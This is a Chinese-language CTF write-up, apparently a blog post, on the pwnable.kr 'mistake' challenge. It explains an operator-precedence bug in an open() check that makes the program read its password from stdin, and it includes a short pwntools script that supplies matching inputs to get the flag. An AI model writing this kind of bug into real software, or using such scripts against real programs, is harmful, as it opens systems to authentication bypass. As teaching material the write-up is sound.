pwnable 笔记 Toddler's Bottle - mistake

这题考察对c语言的运算符优先级的理解

mistake

题目源码

sourcecode

题目分析

先看一遍代码,程序开始的时候调用open()打开文件password
open()函数如果成功打开了文件,会返回一个正整数值,如果失败,会返回-1
仔细的看一下下面这段代码,可以发现这里出了一个小错误

if(fd=open("/home/taqini/pwnable/mistake/password",O_RDONLY,0400) < 0)

关系运算符<的优先级要高于赋值运算符=,这里先执行判断语句:

open("/home/taqini/pwnable/mistake/password",O_RDONLY,0400) < 0

如果open()成功打开文件,将返回一个正整数,这个数小于0必然不成立,所以这个判断语句返回的结果是False也就是0,之后再执行赋值语句

fd = 0

这样只要文件打开成功,fd就会等于0(表示stdin文件)

这导致了后面read()本来应该从password文件中读数据,现在却变成了从stdin中读取数据

if(!(len=read(fd,pw_buf,PW_LEN) > 0))

这里read()从标准输入文件中读取了10个字节的数据,存到了pw_buf中,pw_buf中原本应该存储password的前10个字节,现在变成了存储stdin中的前10个字节。

所以我们只需要在标准输入中写上10个字节的数据,这10字节的数据就是pw_buf

之后scanf()读取pw_buf2,pw_buf2的每一位和1异或后与pw_buf对比,相等的话,打印出flag

解题思路

  1. stdin中输入pw_buf
  2. pw_buf1按位异或后得到pw_buf2
  3. 输入pw_buf2

解题脚本

#!/usr/bin/python
from pwn import *
from time import sleep

target = process('/home/mistake/mistake')
pw_buf = "A"*10
pw_buf2 = ""
for c in pw_buf:
    pw_buf2 += chr(ord(c)^1)
target.sendline(pw_buf) 
sleep(20)
target.read()
target.sendline(pw_buf2)
target.interactive()

ans

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值